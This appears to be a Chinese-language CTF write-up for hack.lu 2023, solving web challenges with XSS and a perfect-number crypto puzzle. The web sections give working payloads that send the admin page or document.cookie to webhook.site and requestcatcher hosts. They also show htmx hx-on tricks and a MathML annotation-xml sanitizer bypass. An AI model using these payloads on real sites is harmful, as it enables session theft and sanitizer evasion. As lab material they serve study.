2023hackluCTF
web
Based Encoding
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 @app.route("/create" , methods=["GET" , "POST" ] ) def create (): if not session: flash("Please log in" ) return redirect("/login" ) if request.method == "GET" : return render_template("create.html" , logged_out=False ) elif request.method == "POST" : if not request.form["text" ]: return "Missing text" text = request.form["text" ] if len (text) > 1000 : flash("Too long!" ) return redirect("/create" ) encoded = based91.encode(text.encode() if not (re.match (r"^[a-f0-9]+$" , text) and len (text) % 2 == 0 ) else bytes .fromhex(text)) encoding_id = create_encoding(session["username" ], encoded) return redirect(f"/e/{encoding_id} " )
输入的数据很通过base91的加密(可以分为普通字符和16进制两种情况)
1 encoded = based91.encode(text.encode() if not (re.match (r"^[a-f0-9]+$" , text) and len (text) % 2 == 0 ) else bytes .fromhex(text))
那么对需要输入的数据进行一次解码转为16进制就可以将想要的字符成功注入了
1 2 3 4 @app.after_request def add_header (response ): response.headers["Content-Security-Policy" ] = "script-src 'unsafe-inline';" return response
使用了CSP头'unsafe-inline'
,允许script标签的使用
同时我们的目标是得到admin的主页的连接
原本我的初步想法是通过fetch外带,但是卡在了base91的字符集里面没有.
,导致浪费时间在绕过的情况下,赛后就发现实际上是使用String["fromCharCode"](46)
,就可以成功添加。
然后还有一个失误是在我使用ifame标签进行include主页,然后让admin访问的时候将数据外带,但是有个问题在于会将我创建的标签的语句直接发送,而不是渲染之后的body。所以这条路就堵死了。
因此一种方法是使用fetch加上回调函数模拟数据外带,还有一个手法是document.write的方法绕过字符限制
exp1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 s=''' <script> fetch("/") ["then"](x => x["text"]()) ["then"](x => fetch("https://nice"+String["fromCharCode"](46)+"requestcatcher"+String["fromCharCode"](46)+"com/test", { method: "post", body: x })) </script>aaa ''' text = decode(s).hex () print (text)encoded = encode(text.encode() if not (re.match (r"^[a-f0-9]+$" , text) and len (text) % 2 == 0 ) else bytes .fromhex(text)) print (encoded)
存在通过String["fromCharCode"](46)
去fetch到webhook一直会寄掉的问题
exp2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ss=''' <script> fetch("/") ["then"](x => x["text"]()) ["then"](x => fetch("https://webhook.site/d7f943a5-32eb-47cc-a430-37e1398206b4", { method: "post", body: x })) </script>aaa ''' import base64ss = (base64.b64encode(ss.encode()).decode()) s = f'<script>document["write"](atob(`{ss} `));</script>aaaaa' text = decode(s).hex () print (text)encoded = encode(text.encode() if not (re.match (r"^[a-f0-9]+$" , text) and len (text) % 2 == 0 ) else bytes .fromhex(text)) print (encoded)
这个方法的扩展性更大
Awesomenotes I
看文档的题目,说一下思路
web应用是rust写的,但是写得还是比较浅显易懂的,没做复杂的抽象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 async fn main () { let app = Router::new () .route ("/" , get (home)) .route ("/create" , get (create)) .route ("/report" , get (report)) .route ("/note/:note" , get (note)) .route ("/api/report" , post (take_report)) .route ("/api/note/:note" , get (get_note)) .route ("/api/note" , post (upload_note)) .nest_service ("/static" , ServeDir::new ("public/static" )); let server = axum::Server::bind (&"0.0.0.0:3000" .parse ().unwrap ()).serve (app.into_make_service ()); println! ("🚀 App running on 0.0.0.0:3000 🚀" ); server.await .unwrap (); }
路由如上,比如.route("/", get(home))
意思是在根目录,使用get传参,将参数给home函数进行处理
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 async fn upload_note ( mut multipart: Multipart, ) -> (StatusCode, Result <HeaderMap<HeaderValue>, &'static str >) { let mut body : Option <String > = None ; while let Some (field) = multipart.next_field ().await .unwrap () { let Some (name) = field.name () else { continue }; if name != "note" { continue ; } let Ok (data) = field.text ().await else { continue ; }; body = Some (data); break ; } let Some (body) = body else { return (StatusCode::BAD_REQUEST, Err ("Malformed formdata" )); }; if body.len () > 5000 { return (StatusCode::PAYLOAD_TOO_LARGE, Err ("Note too big" )); } let safe = ammonia::Builder::new () .tags (hashset!["h1" , "p" , "div" ]) .add_generic_attribute_prefixes (&["hx-" ]) .clean (&body) .to_string (); let mut name = [0u8 ; 32 ]; fs::File::open ("/dev/urandom" ) .unwrap () .read_exact (&mut name) .expect ("Failed to read urandom" ); let name = String ::from_iter (name.map (|c| format! ("{:02x}" , c))); fs::write (format! ("public/upload/{:}" , name), safe).expect ("Failed to write note" ); ( StatusCode::FOUND, Ok (HeaderMap::from_iter ([( LOCATION, format! ("/note/{:}" , name).parse ().unwrap (), )])), ) }
关键看这个函数
1 2 3 4 5 let safe = ammonia::Builder::new () .tags (hashset!["h1" , "p" , "div" ]) .add_generic_attribute_prefixes (&["hx-" ]) .clean (&body) .to_string ();
白名单允许h1,p,div的标签的使用,其余标签都无法通过,允许以hx-
开头的属性值
原本看到rust出现了一个2023的xss CVE,还以为是rust本身的问题,后来看了一下,是底层逻辑问题直接导致的直接注入,跟这个没啥关系,后来查到了
https://htmx.org/
使用了大量的hx-开头的属性对html进行增强,然后就是开始翻文档了
1 <div hx-get ="/example" > Get Some HTML</div >
但是没办法直接对绝对路径发起请求,后来翻到了
1 <div hx-on:click ="alert('Clicked!')" > Click</div >
同时存在
https://htmx.org/reference/
各种属性和事件处理
原本的想法是使用htmx:beforeRequest在发起请求的使用进行alert,但是失败了,因为请求没有成功,然后就是发现失败的原因是存在报错,之后又是找了半天找了hx-on这个属性可以自动在不同情况下监听事件进行自定义行为
然后构造出来
1 2 3 <div hx-get ="/" hx-on ="htmx:targetError: fetch(`https://webhook.site/d7f943a5-32eb-47cc-a430-37e1398206b4/?a=`+document.cookie)" > Get Info! </div >
自己点击没有问题,然后设置自动触发
使用hx-trigger="every 2s"
,每两秒进行一次请求(,这个仅仅针对hx-get同系列的事件)
1 2 3 <div hx-get ="/" hx-trigger ="every 2s" hx-on ="htmx:targetError: fetch(`https://webhook.site/d7f943a5-32eb-47cc-a430-37e1398206b4/?a=`+document.cookie)" > Get Info! </div >
ps:htmx版本是1.9.5,hx-on的事件监听写法需要是已弃用的写法(文档甚至没写啥时候弃用的,也是卡了一会)
然后把cookie放进去访问
https://awesomenotes.online/api/note/flag
另外一个思路看
https://www.youtube.com/watch?v=XNTX_wvltcU
Awesomenotes II
1 2 3 4 5 6 7 8 9 10 let safe = ammonia::Builder::new () .add_tags (TAGS) .add_tags (&["style" ]) .rm_clean_content_tags (&["style" ]) .clean (&body) .to_string ();
代码意思是允许style标签,以及TAGS的标签,但是会将style标签进行过滤
通过自带的example,可以允许一些html原生标签,如<br>
,<img>
等等
一种做法是通过<annotation-xml>
标签,可以使用encoding
属性,表示注释中语义信息的编码
然后翻一下文档
https://www.w3.org/TR/MathML3/chapter5.html#mixing.semantic.annotations
可以找到example
1 2 3 4 5 6 7 8 9 10 <math > <semantics > <mi > a</mi > <annotation-xml encoding ="text/html" > <span > xxx</span > </annotation-xml > </semantics > <mo > +</mo > <mi > b</mi > </math >
这个就是其中一种做法的雏形,真正起到作用的只有math和annotation-xml
1 2 3 4 5 6 7 <math > <annotation-xml encoding ="text/html" > <style > <img src =x onerror ="alert(1)" > </style > </annotation-xml > </math >
encoding="text/html"
将style
标签视为 html 命名空间中的标签,因此,其中的内容被视为纯文本,并且不会对其进行任何过滤,但是当删除该属性时,style
标签现在位于math
命名空间中,其中标签内的标签style
被视为 html 标签。然后就会成功执行xss
crypto
Lucky Numbers
没什么意思的一道题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 import mathimport randomfrom Crypto.Cipher import AESfrom Crypto.Random import get_random_bytesimport base64import os def add (e ): return e+(length-len (e)%length)*chr (length-len (e)%length)def remove (e ): return e[0 :-ord (e[-1 :])]length=16 def main (): flag= "flag{123}" print ("Starting Challenge" ) key=get_random_bytes(32 ) message=add(flag) iv=get_random_bytes(length) cipher=AES.new(key,AES.MODE_CBC,iv) cipher_bytes=base64.b64encode(iv+cipher.encrypt(message.encode("utf8" ))) print (cipher_bytes.decode()) for l in range (0 ,5 ): A=[] print ("You know the moment when you have this special number that gives you luck? Great cause I forgot mine" ) data2=input () print ("I also had a second lucky number, but for some reason I don't remember it either :(" ) data3=input () v=data2.strip() w=data3.strip() if not v.isnumeric() or not w.isnumeric(): print ("You sure both of these are numbers?" ) continue s=int (data2) t=int (data3) if s<random.randrange(10000 ,20000 ): print ("I have the feeling the first number might be too small" ) continue if s>random.randrange(150000000000 ,200000000000 ): print ("I have the feeling the first number might be too big" ) continue if t>42 : print ("I have the feeling the second number might be too big" ) continue n=2 **t-1 sent=False for i in range (2 ,int (n**0.5 )+1 ): if (n%i) == 0 : print ("The second number didn't bring me any luck..." ) sent = True break if sent: continue u=t-1 number=(2 **u)*(2 **(t)-1 ) sqrt_num=math.isqrt(s) for i in range (1 ,sqrt_num+1 ): if s%i==0 : A.append(i) if i!=s//i and s//i!=s: A.append(s//i) total=sum (A) if total==s==number: decoded=base64.b64decode(cipher_bytes) cipher=AES.new(key,AES.MODE_CBC,iv) decoded_bytes=remove(cipher.decrypt(decoded[length:])) print ("You found them, well done! Here have something for your efforts: " ) print (decoded_bytes.decode()) exit() else : print ("Hm sadge, those don't seem to be my lucky numbers...😞" ) print ("Math is such a cool concept, let's see if you can use it a little more..." ) exit() if __name__ == "__main__" : main()
需要满足total == s == number
s是我们的输入,number是由t决定,同时代码对t进行约束,2**t-1需要是素数,total是number因子的和
那么第一步先筛选出合法的t
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 for t in range (41 ): n = 2 ** t - 1 sent = False for i in range (2 , int (n ** 0.5 ) + 1 ): if (n % i) == 0 : print ("The second number didn't bring me any luck..." ) sent = True break if sent: continue u = t - 1 number = (2 ** u) * (2 ** (t) - 1 ) if (number>20000 ): print (t)
选出一个最小的t,然后得到13
然后我得到了固定的number,我就尝试s=number就成功了??考点迷惑